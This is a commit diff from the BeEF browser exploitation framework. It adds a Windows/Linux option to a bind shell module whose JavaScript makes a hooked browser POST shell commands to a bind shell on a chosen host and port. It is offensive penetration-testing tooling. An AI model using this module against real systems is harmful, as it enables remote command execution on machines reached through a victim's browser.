Merge pull request #916 from bmantra/master
added option to use only LF in the bind shell module for use with Linux
This commit is contained in:
@@ -9,6 +9,7 @@ beef.execute(function () {
|
||||
var rport = '<%= @rport %>';
|
||||
var path = '<%= @path %>';
|
||||
var cmd = '<%= @cmd %>';
|
||||
var shellcode ='<%= @shellcode %>';
|
||||
|
||||
var uri = "http://" + rhost + ":" + rport + path;
|
||||
|
||||
@@ -73,7 +74,11 @@ beef.execute(function () {
|
||||
};
|
||||
xhr.open("POST", uri, false);
|
||||
xhr.setRequestHeader("Content-Type", "text/plain");
|
||||
command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
|
||||
if (shellcode == 'Linux'){
|
||||
command = "cmd=" + command + "\n"; // very important only LF
|
||||
}else{
|
||||
command = "cmd=" + command + "\r\n"; // very important CRLF, otherwise the shellcode returns "More?"
|
||||
}
|
||||
xhr.send(command);
|
||||
setTimeout("get_additional_cmd_results()",500);
|
||||
};
|
||||
|
||||
@@ -10,7 +10,11 @@ class Beef_bind_shell < BeEF::Core::Command
|
||||
{ 'name' => 'rhost', 'ui_label' => 'Host', 'value' => '127.0.0.1'},
|
||||
{ 'name' => 'rport', 'ui_label' => 'BeEF Bind Port', 'value' => '4444'},
|
||||
{ 'name' => 'path', 'ui_label' => 'Path', 'value' => '/'},
|
||||
{ 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'}
|
||||
{ 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'hostname'},
|
||||
{ 'name' => 'shellcode', 'type' => 'combobox', 'ui_label' => 'BeEF Bind Shellcode', 'store_type' => 'arraystore',
|
||||
'store_fields' => ['shellcode'], 'store_data' => [['Windows'],['Linux']],
|
||||
'valueField' => 'shellcode', 'displayField' => 'shellcode', 'mode' => 'local', 'autoWidth' => true
|
||||
}
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user